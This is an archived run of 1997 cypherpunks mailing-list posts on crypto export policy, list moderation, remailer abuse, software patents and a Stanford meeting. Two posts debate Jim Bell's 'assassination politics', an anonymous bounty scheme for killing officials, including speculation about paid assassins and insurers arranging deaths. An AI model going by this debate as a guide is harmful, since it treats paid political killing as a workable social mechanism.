Last Wednesday, January 29th, the Internet Privacy Coalition had
a "policy lunch" in San Francisco. It was in one of the hotels hosting
the RSA conference, and at the same time that the conference was
breaking for lunch, so it was easy for attendees to "switch lunches".

The speakers (as I remember, apologies to any I miss) were:
	Whit Diffie
	John Gilmore
	Kenneth Bass (counsel in Karn vs. Dept of State)
	Herb Lin (who ran the NRC staff for the crypto study)
	Marc Rotenberg
	William Hugh Murray (Deloitte & Touche)
	and a couple others that I missed, as I left early.

Mr. Murray gave a long, impassioned speech.

He said that the government is going to crack down on
domestic possession and use of crypto, that they
were looking to increase their wiretapping capabilities
100-fold, and so on.

He was very emphatic about not trusting anything
that the government says, and that once they got
their "foot in the door", that they would seek to
expand their abilities to regulate, etc, etc.

He advocated deployment of strong crypto. He
insisted that there was no way the government
could stop the export of strong crypto. He exhorted
people to refuse to obey the ITAR/EAR regulations,
and to lobby their congresscritters to get the
PRO-CODE bill passed.


It wasn't really what he said that amazed me, because
I had heard most of it (in bits and pieces) before. It
was presenting it all in a package, in an emotional
manner, by an elderly, conseratively dressed
accountant who was representing a large
corporation whose job it is to help people obey the
government.

[ My father was an accountant. He worked for
Deloitte-Touche, in fact. I don't expect accountants
to be passionate about government regs, and
especially not to advocate disobediance. Maybe
that's why this affected me so strongly. ]

-- Marshall

Marshall Clow     Aladdin Systems   <mailto:mclow@mailhost2.csusm.edu>

Warning: Objects in calendar are closer than they appear.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 5 Feb 1997 08:59:46 -0800 (PST)
To: Matts Kallioniemi <cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051659.IAA00930@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:20 am -0500 2/5/97, Matts Kallioniemi wrote:
>Another way to get rid of the totally clueless and involuntary subscribers
>would be to require subscription requests to be PGP signed and acknowledged
>by the subscriber.

Now, this sounds familiar...

Everyone remember Eric's attempt to force signed messages?

Herding cats, indeed.

Cheers,
Bob

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Rogaski <wendigo@pobox.com>
Date: Wed, 5 Feb 1997 11:41:10 -0800 (PST)
To: Anil Das <das@sgi.com>
Subject: Re: AltaVista Tunnel
Message-ID: <199702051941.LAA03457@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

An entity claiming to be Anil Das wrote:
: 
: Rick Osborne wrote:
: > 
: > He triumphantly exclaimed that the encryption was 128-bit, but when
: > I said "128-bit what?" he cowered and muttered that he didn't know and went
: > on with his little speech.  The rest of my crypto-specific questions met
: > with equal dark stares.  And these are the people setting industry standards...
: 
: I should be happy that you are bashing a competitor and all, but give
: them a break, OK? The marketing dweeb who has to do product pitches
: on roadshows is not the same as the design engineer who designs the
: system and sets technical standards. There can be a big difference in
: technical knowledge about the product, and even basic competency,
: between the two.
: 

If the marketing-droid didn't have the ability to answer such a basic
question, DEC should have just sent out videotape promos.  I don't
understand why they went through the expense of sending warm bodies
out on a roadshow without giving them enough specification about
the product to give an effective presentation to a predominantly
tech-oriented audience.  From whom did they expect the questions to
come?  A competent marketing professional would AT LEAST know what
standards/protocols the product supported, does a car company send
its sales force out without knowing if the cars use gas or diesel?

Another example of how the Macro$loth mindset of tossing out random
buzzwords to a chorus of ooooh's and ahhhh's has polluted the 
industry.  

In Rick's case, DEC's image was deflated.  OK, so how many other
people present got the same impression.  And it's very likely that
one of those people is a decision maker, or the anecdote got back
to one of the decision makers.  So, due to DEC's failure to ensure
that their sales force new the product, they can probably scratch 
Grumman off of their potential client list.

Mark


- -- 
[]  Mark Rogaski                    || "Computers save time like kudzu    [] 
[]  wendigo@pobox.com               ||  prevents soil erosion."           [] 
[]  http://www.pobox.com/~wendigo/  ||           - afcasta@texas.net      []
[]  >> finger for PGP pubkey <<     ||                                    []

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBMvjCjBz4pZwIaHjdAQEziAf/WXyN1MHZd5E77RIGwQIk37gcTKAnDATS
gKpKW/MWENV5qF7sEdJ/5BEE5KpJUsUvG9+/9ZfmjwLJbaiIAiIKBkLto5oBCwFi
0uR7RFqDCtIIsVzDb+L6gzAKJ98WDTHeaQO7uy3NDo6WkuGdIDtcxe5mzuLmekjE
wlnNy3PCmU6LYZivuW4L8IAXQ+Fd263DX4WaR2FbRGXmdH6/QCJHp7kerjuppNtD
rCaUh1yFoxmzzZp2QLgYhZRGDNzw7SKPCcmMBcPk2873f+U9kdEWrz0LzSQwSlRN
zZGXZMfsuF6PrLckRS8fGO00/ZVuh4byiqGffSP++zwEE6GDcFHR4A==
=Caug
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 14:03:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Are cypher punks capable?
Message-ID: <199702052203.OAA05521@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 08:57 PM 2/4/97 -0000, Secret Squirrel wrote:
>Against Moderation wrote:
>> In general, unsubscribing and resubscribing to a mailing list is not
>> completely trivial.
>
>Do you think that a cypher punk is not able to solve these problems?
>
I just unsubscribed to cypherpunks, simoutaneously (excuse the spelling)
subscribing to the cypherpunks-unfiltered (and low tar) list.  One problem I
have is in transit, how many messages did I loose?  Since the moderated list
is delayed by however long it takes for Mr. Sandforth to read the messages,
I lost at least as many messages as he pulled in last minus the number of
messages that he had already sent out.  I thought about subscribing for
about four hours to both lists, but I have enough trouble with my account
hitting its maximum kB limit.  I don't have any filters, scripts, or other,
and yet I still had a problem, (one which I finally ignored).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hugh Daniel <hugh@west.toad.com>
Date: Wed, 5 Feb 1997 14:21:47 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052221.OAA05812@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



What:   San Francisco Bay Area Cypherpunks monthly physical meeting
When:   Saturday February 8th, 1997
Where:  Turning Auditorium, Stanford University, Stanford California

Agenda: 11:++	setup, gossip, face feeding etc.
	12:00	USG Export 'Laws' of the week, Roz Thomsen, PGP inc.
	13:00	PGPmail & PGPdisk overview, Dave Del Torto, PGP inc.
	14:00	Break
	14:30   Announcements, late breaking news, etc.
	15:00	The 3 hour 40bit challenge, Ian Goldberg, UCBstudent
	16:00   Why bother killing the list?, Hugh Daniel
		Future Meeting Planing, IPSEC Update, etc.
	17:00	This hour left bank for future expansion...

Dinner:
	18:30	Dinner at Thai City, 3691 El Camino Real, PA

	(All times are approximate and likely to be totaly ignored...)

Directions:
	  Turning Auditorium is in Polya Hall, Jordan Quad, Stanford
	University, Stanford, Santa Clara County, California, USA.
	  A (bit)map to the part of the Stanford Campus where the
	meeting will be held is at:

	http://www-facilities.stanford.edu/transportation/PGrid4.html

General directions:

- From Hwy 101, take the Embarcadero exit all the way to campus. Turn right
(clockwise) on Campus Drive. Turn left into the Jordan Quad parking lot. 

- From Hwy 280, take Sand Hill. Turn right on Junipero Serra, then left
(counterclockwise) onto Campus Drive. Turn right into the Jordan Quad
parking lot.

Host:  Many thanks to Richard Graves <llurch@stanford.edu> and to
	Stanford University for providing the space for this months
	meeting.

Notes:	  We will have a small NHK (Nipon(Japan)) film crew at much of
	this meeting, they are doing a documentary and are interested
	in how this (main) branch cypherpunks works (or does not work
	as the case may be...).
	  We have a wonderful space to do demos in this month, Turing
	Auditorium has Internet, projections screens, audio amps and
	a Clone-PC and a Macintosh to demo software, web sites etc.
	  If you have something Cypherpunkish to demo, this is the
	month to do so!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Hayes <dave@kachina.jetcafe.org>
Date: Wed, 5 Feb 1997 14:14:27 -0800 (PST)
To: gbroiles@netbox.com
Subject: Re: what's in a name?
Message-ID: <199702052214.OAA05697@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles <gbroiles@netbox.com> writes:
> Wei Dai's message raises an important question: what is the relationship
> between ownership and list content or quality? 

I'll assert that ownership can only have a negative impact on
content. Freedom is preferable to bias, and hence loss of freedom
can only hurt content...according to -my- standard of content anyway.

> Are mailing lists an example of a situation where "the tragedy of the
> commons" is not a useful metaphor? 

Yes. Such analogies assume that common people create tragedy, which 
is only true if their leaders have designed things to work that way.

> Is the desire for an anarchic community at odds with a desire for
> good use of resources?

The network resources are there to handle email traffic. Attempting
to place a non-technical content-based standard on the usage of
resources invites censorship and leads to stagnation of ideas.

If people would simply learn to filter what they don't like from their
net.viewport, there would not be a perceived problem.
------
Dave Hayes - Altadena CA, USA - dave@jetcafe.org 
Freedom Knight of Usenet - http://www.jetcafe.org/~dave/usenet

Nasrudin arrived at an all-comers horse race mounted on the slowest of oxen.
Everyone laughed, an ox cannot run. 
"But I have seen it, when it was only a calf, running faster than a horse.",
said Nasrudin. "So why should it not run faster, now that it is larger?"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 12:23:07 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Silly Americans
Message-ID: <199702052023.MAA03991@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>At 09:37 PM 2/4/97 -0500, Rick Osborne wrote:
>>a philosophical note, why *do* we allow the government to regulate
>>algorithms?  (Implementations, I can understand, but *algorithms*?)

At 03:33 AM 2/5/97 -0800, Bill Stewart wrote:
>Because they're bigger than we are and better-armed?
Okay, I can accept that ...

>Because there's lots of money to be made by people patenting things?
This i have a little more trouble with ... Sure *one* company can make alot
of money, but *one* company making money doesn't stimulate the economy.

>Because big companies can use it to interfere with competition?
Once again, this is non- and even counter-productive.  Pure competition is
great, but if only one company has a product, there is *no* competition.

>Because it's good for the economy because it encourages inventors
>of algorithms to publish them and make money by doing so?
No: many companies using the same algorithm with different implementations
is good for the economy.

It's like this: say that way back when the first electronic spreadsheet was
produced, someone patented it.  It then evolved into Excel.  Now, no one
else can do any kind of electronic spreadsheet, because Microsoft has the
rights.  There is no competetion and anyone who wants to use an electronic
spreadsheet has to use Excel.  This would be great for Microsoft, but
horrible for everyone else.  Lotus 1-2-3 would have never existed, etc,
etc, etc.

The constant chatter about the expiration of the Diffie patent proves my
point: if everyone was satisfied with what there was, then no one would be
gearing up to produce their own products.

Competition is a *good* thing.  You can't evolve without it ...
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
Once a Junior Programmer interrupted a Great Guru of the Sun to ask a
Question of no importance. The Great Guru replied in words which the
Junior Programmer did not understand. The Junior Programmer sought to
rephrase the Question, saying, "Stop me if I appear stupid." The great
Guru, without speaking, reached over and pressed L1-A. The Junior
Programmer achieved Enlightenment.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rick Osborne <osborne@gateway.grumman.com>
Date: Wed, 5 Feb 1997 11:59:25 -0800 (PST)
To: Anil Das <cypherpunks@toad.com
Subject: Re: AltaVista Tunnel
Message-ID: <199702051959.LAA03670@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 03:48 AM 2/5/97 -0800, Anil Das wrote:
>I should be happy that you are bashing a competitor and all, but give
>them a break, OK? The marketing dweeb who has to do product pitches
>on roadshows is not the same as the design engineer who designs the
>system and sets technical standards. There can be a big difference in
>technical knowledge about the product, and even basic competency,
>between the two.

Oh, I understand that.  But I do expect at least a *tiny* bit of knowledge
on the product by said marketers.  I mean,  the entire base of PPTP is
crypto.  It's like trying to explain a word processor without knowing what
a paragraph is.  When I went to the networks guys, they answered every one
of my questions about the routers, packet sniffing, etc. without
hesitation.  The nice lady with the .5TB RAID array was just as competent.
The only person in that entire truck that couldn't answer my questions was
this one guy.  It just goes back to the old thread of "why don't people
know about crypto?"
_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________
If it's broke, send it back.  If it works, take it apart and find out
why.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Wed, 5 Feb 1997 14:58:26 -0800 (PST)
To: cypherpunks-announce@toad.com
Subject: Re: ANNOUNCEMNT: February 1997 Cypherpunks Bay Area Meeting
Message-ID: <199702052258.OAA06370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


Hi all; if anybody's interested in having a PGP key-signing party
at this event, I'd be willing to organize one.

If interested, send me your key (or a pointer to where I can download
it), and let me know what times are good for you for the party.

	-ed falk
-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBMvkGtzLd6HIbO1jdAQGZFQH9GNbQCwSS09YuPrC9jg43A9NiusV18sdM
66MKMVxIYYi2EstThJVWN8NLYCIGCgOiJnnIJ4ZgkbnAwY9zmZviVw==
=4etp
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Matts Kallioniemi <matts@cyberpass.net>
Date: Wed, 5 Feb 1997 07:26:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: My Departure, Moderation, and "Ownership of the List"
Message-ID: <199702051526.HAA28754@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Jeremiah A Blatz wrote:
>On the choke points note, mailing lists are better than usenet because
>legendary AOLers with there 5 free hours of fame and their ilk usually
>don't figure out how to pester mailing lists. Being on a mailing list
>usually requires a commitment, that is enough of a barrier for many of
>the usenet underirables.

Another way to get rid of the totally clueless and involuntary subscribers
would be to require subscription requests to be PGP signed and acknowledged
by the subscriber.

Matts

-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQEVAgUBMviI5xVFhWUyiUQRAQFdEwf/ZI2WW/2OVKq4xdwmsPNzCP3yJj7NfsOP
JSBegY21WX/Oa+gT/Zmo5lrOh9wWQlF2OpFlzggvBef1Vm5qidge5dRqSxmUPipc
5/HZFK1KxQI5uLjC7pZo5pMfjIroPYI4pldfYP2fjn3qo82sg8IWEn1FSH3b5iEE
qrL71rWmG3ekx7qDMvZPGKrjwi7XNJlKUT7qIjQaR25sg3U4KsntV5FZ+Iof6FRz
cFX0G2bQ5r1tE/QIqrMm94cD27KNFshSArBFgTqNqqCJtym2v+oOtiCpm8uqirlB
oREDHaIs7pJyUA3VkdQnVwKbN+c/Ln9nBAZ9V0BGBg4rZMp/rDRo+Q==
=YOIl
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 14:01:28 -0800 (PST)
To: Remailer Operators <cypherpunks@toad.com>
Subject: New type2.list/pubring.mix
Message-ID: <199702052201.OAA05490@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Hello Everyone,

	I've just updated the type2.list/pubring.mix combination on
jpunix.com to reflect the retirement of rebma. The files are available by
anonymous FTP from ftp.jpunix.com as well as by WWW from www.jpunix.com.

	Additionally, the files are now available by IRC (EFnet) by
accessing the rops bot on #remailop. Just send a /msg rops hello so rops
will recognize you. You can then do a /dcc chat rops, go to the file area
and then do a /dcc get. 

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.



-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjtk1OTpEThrthvAQEY9QP/RAmfhG6yF0xRQn23XgXhnVxQIMexnEIw
SS3WNj8hHIS5TAT06AsjFLrcBGPqkN612XiYrkGAtgXLQfPuevxGrtDRdGesYzGH
kz5+exvxW3BOuVokQs7TZLoQQzSq5WbmfdoG1UZ6aSXPQ1gE6c/Hwgx8R/Z4Os9I
xZP07vWyryc=
=bPEB
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "John A. Perry" <perry@alpha.jpunix.com>
Date: Wed, 5 Feb 1997 14:01:21 -0800 (PST)
To: Mixmaster Mailing List <raph@alpha.jpunix.com
Subject: Sorry!!
Message-ID: <199702052201.OAA05480@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I apologize for 3 copies of the same message. I was having some problems
with premail. I'll try not to let it happen again.

 John Perry KG5RG perry@alpha.jpunix.com PGP-encrypted e-mail welcome!
 Amateur Radio Address: kg5rg@kg5rg.ampr.org
 WWW - http://www.jpunix.com
 PGP 2.62 key for perry@jpunix.com is on the keyservers.


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQCVAwUBMvjuN1OTpEThrthvAQHZmgQAkp1pN5S/NV/8Bg17kiQXKBM59y+bmMEx
XkkEPQlVYCPrE6z+t+QRx93DQS3HVwAE8x5tvP9fkvnWGJxuyMMkBeJv+ru2kDUg
dDxo8+C+TsQ6jQ+B7OQWg4EcaC9vpQNPYQLEYpI5UjgXrpYLtilcfeGzvYqSDXmN
8+xvb184UfE=
=sSG7
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Wed, 5 Feb 1997 09:06:39 -0800 (PST)
To: jim bell <cypherpunks@toad.com>
Subject: Re: John's: In anarchy -everyone responsible
Message-ID: <199702051706.JAA01075@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970204:2343 jim bell <jimbell@pacifier.com> said:

+At 09:05 PM 2/4/97 +0000, Attila T. Hun wrote:

+>        In a "popular" anarchy, Jim Bell's assassination politics make
+>    perfectly good sense; but, a "popular" anarchy is not an _anarchy_.

+I guess I don't understand the distinction you are trying to make,
+between a  "popular anarchy" and an "anarchy."    Maybe you were trying
+to distinguish  between "dictatorship of the few (or one)" and
+"dictatorship of the many (perhaps a  majority)" but it didn't come out
+very understandably.

+Put simply, "anarchy is not the lack of order.  It is the lack of
+_orders_."

    disagree. pure anarchy is not the lack of "orders" --pure anarchy 
    implies that everyone is imbued with that perfect sense of 
    responsibility.

+>        anarchy is only possible in an ideal world where _everyone_ 
+>    assumes not only responsibility for themselves, but for the common 
+>    good.  no malice, no greed, no need for assassination politics....

+No, that's traditional thinking and that's wrong.  See AP part 8. 
+Freud  believed (as "everyone" else believed, even myself, before AP)
+that anarchy  was inherently unstable.  But it ISN'T, if the tools of
+AP are used to  stabilize it.  And no, no altruism is necessary for AP
+to work as well; no  individuals are being asked to sacrifice
+themselves for the common good.    Rather, they are given the
+opportunity to work to achieve a reward offered,  cumulatively, by a
+number of citizens.

    aah, but that is the difference between a _pure_ anarchy and a  
    _popular_ anarchy.  A pure _anarchy_ is sufficiently idealistic in 
    that _noone_ lacks the necessary resonsibility to keep society 
    moving, each individual in their own niche.  As long as there is 
    perfect responsibility in a perfect anarchy, then there is no need 
    for AP.

    AP is a negative, or _punative_, influence; I might liken it to the 
    Catholic Church which is a religion of fear, and an instrument of
    political control.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMvixAL04kQrCC2kFAQECsQQAlPSQRpEE2dAKkqrWSlPf79QhSBtYbjXa
rEyAlOrmi8NOxgyb8hGF/VwVkURUKnPr4gGJW9JvwuPB2x/AQeT11ZEQyVqeFGNF
0W6WR7yv3XsOT9UM6JCP9hFLWU33BumcPd26w8f/Z5mx87qEUoXeJD4ApLv5QNI3
WlyL0xDT1PM=
=sfD3
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Date: Wed, 5 Feb 1997 16:25:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060025.QAA07526@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Anil Das <das@sgi.com> writes:

> Dr.Dimitri Vulis KOTM wrote:
> > 
> > Learn to use an anonymous remailer.
> 
> Thanks for the hint, Dr. Vulis. I have registered for a course, but
> seats are available only in fall.

Toilet seats in the state of free fall?

The stego on Sandy's moderated list blows my mind...

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: stewarts@ix.netcom.com
Date: Wed, 5 Feb 1997 17:40:23 -0800 (PST)
To: Andy Dustman <andy@ccmsd.chem.uga.edu>
Subject: Re: mail-to-news fun
Message-ID: <199702060140.RAA08923@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>> Well, I'd really rather not do that.  I already have to deal with
>> abuse from nym.alias.net and mix@anon.lcs.mit.edu users.  

>All that being said, it might not be worth the effort to allow posting,
>since you're not actually doing the posting anyway. I've thought about 
>allowing posting again with a very restrictive newsgroup list 
>(only alt.anonymous.messages).

If I were going to restart a remailer, and to offer news posting,
I'd probably limit it to posting to moderated newsgroups only,
so a human can trash things that look like SPAM or abuse;
the abuse that caused me to kill my remailer wasn't something
a simple filter would catch.  (I'd also prefix each posting with a 
header about this message having been received from an anonymous source,
not verified, not guaranteed to be worth the electrons it's printed on,
probably not written by anybody whose name's at the bottom, etc....
People don't read mail headers or disclaimers at the bottom,
and putting disclaimers like that into message text for
email exposes the message to traffic analysis.)

Alt.anonymous.messages is an interesting alternative, but one of the 
ideals of posting news from a remailer is to allow people to 
broadcast politically incorrect speech anonymously, avoiding censorship
and retribution as much as possible.  This means letting people
call Lee Kwan Yew a fascist, complain that OJ's a space alien,
identify the person Hillary paid to off Vince Foster,
or proclaim that Hubbard's Ahmaddiyya Witnesses are the One True 
Religion -- Or post the One Page RSA+RC4 to the China newsgroups.

On the other hand, I don't want to support postings titled
"ALL FAGS MUST DIE" with a forged signature and email at the bottom,
and I especially don't want to post that from my remailer without
indicating that anything posted by a remailer might be forged.
That's why I shut down my previous remailer - the forger only
posted one forged message; the person whose name got forged
got flamed severely by dozens of people who objected to "her" posts.
Blocking the gay newsgroups cuts down on that kind of trolling,
but also cuts out the "Help, I might be gay and my parents will kill me"
traffic that remailers are supposed to help with.

On several other hands, though, even if you limit news posting,
trolls can abuse a remailer by sending email to large mailing lists.
It'd certainly never happen to Cypherpunks :-), but some other
mailing lists might attract trolls, and it's not easy to
identify them in advance (though I suppose adding a disclaimer
and cutmarks any time you post to something other than a 
known remailer is a partial solution.)


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:42:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: RE: Fighting the cybercensor
Message-ID: <199702060142.RAA08940@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:09 PM 2/4/97 -0800, jim bell wrote:
>At 08:15 PM 1/28/97 -0800, Steve Schear wrote:
>>>The poor can not hope to match the tyrants bid as they only have 10% of the
>>>wealth, the household knows that thier participation in an attempt on the
>>>tyrant will get them killed.  Even if the attempt was successful.
>>>The people from the outside who would benefit from the bounty benefit more
>>>by taking the tyrants offer and then trying again, i.e. tiger teams.
>>
>>I think a hole in your thinking is to assume that the assasins have no
>>motive other than financial gain.  I would submit that there are those that
>>have the skills, training and a political agenda coherent with the
>>wagerers, lacking only the financial incentive to make the risks
>>acceptable.  These wetworkers won't consider accepting the bribe of the
>>rich/powerful
...
>
>However, fortunately I don't think it would make any difference in the 
>overall effects.    While AP would eliminate the taxation which is commonly 
>thought of as the main way a "rich person" loses assets, in practice it 
>would also shut down the well-hidden systems that allow some people to get 
>rich (or, merely live off somebody else) "unfairly."   Government agents 
>come to mind, of course.
>
The money doesn't necessarily come from taxation, the owner of a business
takes a cut of whatever money is made even if that person is unproductive.
The tyrant would be the owner of the industry.  
If you are right then governments would effectively lose the ability to tax,
with or without representation, as most people do not agree on everything,
like how their money is spent.  However, even now, as pointed out in some
recent posts, our tax money is used to foreward the goals of a few, these
few want to eliminate guns, crypto, free speech, ect.  Although we are in
oppostition, our money is still used to foreward the goals.  Not unlike what
I heard about the U.S.S.R. in vietnam. The following is according to my
source.  When the Soviet Ambassitor to the U.N. was sick, thats when the aid
to vietnam could begin, as the U.S.S.R was not there to veto it.  Now the
U.S.S.R. was forced to aid both sides, those that were in agreement with
them politically, and the U.N., of which they were a member.  End of source
data.
Even those who oppose the taxes would be forced to pay as it would be the
army that would be collecting.  Then they could take the remaining monies
that they had to target the leaders, who would use the tax revinues to
protect themselves.  If more money was needed, nore taxes would be collected.
If it were a private corporation, the wages of the workers would be reduced
on occassion to pay for the different security systems of the owner.  
Additionally, under our current system, the assassin would have his day in
court, perhaps he could escape the government, making the cost-benefit
analysis skewed in favor of crime.  Under a system as proposed, the assassin
would be forced do deal with a more powerful curse.  Insurance companies
would be reconfigured to anonymously see to the death of whatever caused the
death of thier clients.  They would make money because if the death could be
ruled accidental, they would not have to pay.  If the person died of a heart
attack, and the food taster didn't, (the food taster would probably be the
cooks son by the way), then the bond that the tyrant had with the company
would be void.  The company would cash the check.  If the tyrant wanted to
insure h[is/er] survival, (s)he would take out several of these bonds, with
different companies, each with a signature amount to give to the executors
to check their loyalty.  If the company paying 1295065 dollars didn't pay
up, the executors would tell the world.
The idea is, where a layer can be subverted, duplicate the layer so that at
least one element is bound to work.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Rabid Wombat <wombat@mcfeely.bsfs.org>
Date: Wed, 5 Feb 1997 16:26:00 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "alt.cypherpunks" people?
Message-ID: <199702060026.QAA07527@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




On Wed, 5 Feb 1997, Dr.Dimitri Vulis KOTM wrote:

> Anil Das <das@sgi.com> writes:
> 
> > Adam Back wrote:
> > > 
> > > What do people think of starting an alt.cypherpunks USENET newsgroup?
> > > 
> > 
> > I have only one objection. I will never post to an Usenet group
> > under my real email address for fear of ending up in spammer
> > databases.
> > 
> > -- 
> > Anil Das
> > 
> 
> Learn to use an anonymous remailer.
> 

Unfortunately, if everyone is posting from "nobody@thevoid" or such, we'd 
lose the "personalities" that make up the community. Why not use a "nym" 
account to post - one that is configured to discard all incoming email?

-r.w.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "P.J. Westerhof" <p.j.wester@NGI.NL>
Date: Wed, 5 Feb 1997 08:11:15 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Getting into MIT is impossible
Message-ID: <199702051611.IAA29635@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 18:12 4-02-97 -0800, you wrote:
>Erland van Lidth de Jeude is a MIT grad.  He played the big badass in "Stir 
>Crazy."  Computer science major, BTW.
>
He is quite a singer too (at least he was some years ago on Dutch TV).
Perhaps that made the difference.  ;-)

Gr.
Peter


_________________________________________________________

   P.J. Westerhof  LL.D                      
   e-mail           P.J.WESTER@NGI.NL     |        Computerlaw
   voice            +31-347-375400                |        Legal informatics
   fax/data        +31-347-375400                |        IT - consultancy
   Web:            www.ngi.nl/cr/                   |        Soaring
_________________________________________________________






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sean Roach <roach_s@alph.swosu.edu>
Date: Wed, 5 Feb 1997 17:43:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: More on Cellular Encryption Docs
Message-ID: <199702060143.RAA08990@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:39 AM 2/5/97 -0800, Bill Stewart wrote:
>>>>Here's more on the controlled documents for cellular encryption
>>>>from TIA/EIA we described in a 26 January post to cpunks:
>...
>>>Of course, ITAR as recently modified says it's ok to send this
>>>stuff overseas to foreigners, as long as it's on paper.
>>>There may be separate restrictions on sending it, or on copying,
>>>but they're based on copyright or contractual non-disclosure.
>>
>>Given that high-density inkjet printers can do 600x600 dpi resolution, it 
>>should be possible to achieve the equivalent of 100x100 bpi of 
>>easily-recoverable data on ordinary paper.  That's about 800 kilobits, or 
>>100 kilobytes.   What does ITAR say about this?
>
>These are text, perhaps with occasional illustrations, so the current
>interim export rules say it's ok.
>
>For optically-scannable printed data, the government's announcement says 
>it reserves (somehow) its right (acquired in unspecified manner :-)
>to re-evaluate the exportability at a later time.  I think they
>haven't settled on whether they'd be more embarassed by banning it
>(which bans export of printed material, risking serious Constitutional
>challenges) or by not banning it (having people laugh at them while
>exporting source code or even binaries in OCR-A on loose-leaf paper
>with page numbers and checksums.) 
...
Let's not tempt them with something that the common person on the street
would consider computer media, I.E. punched cards and dataglyphs.  Remember
the old fonts that used to be everywhere?  The ones with the thickened
letters at key places?  Look at a check some time, that is the type of font
at the bottom, its designed to be readable by both man and machine.  Print
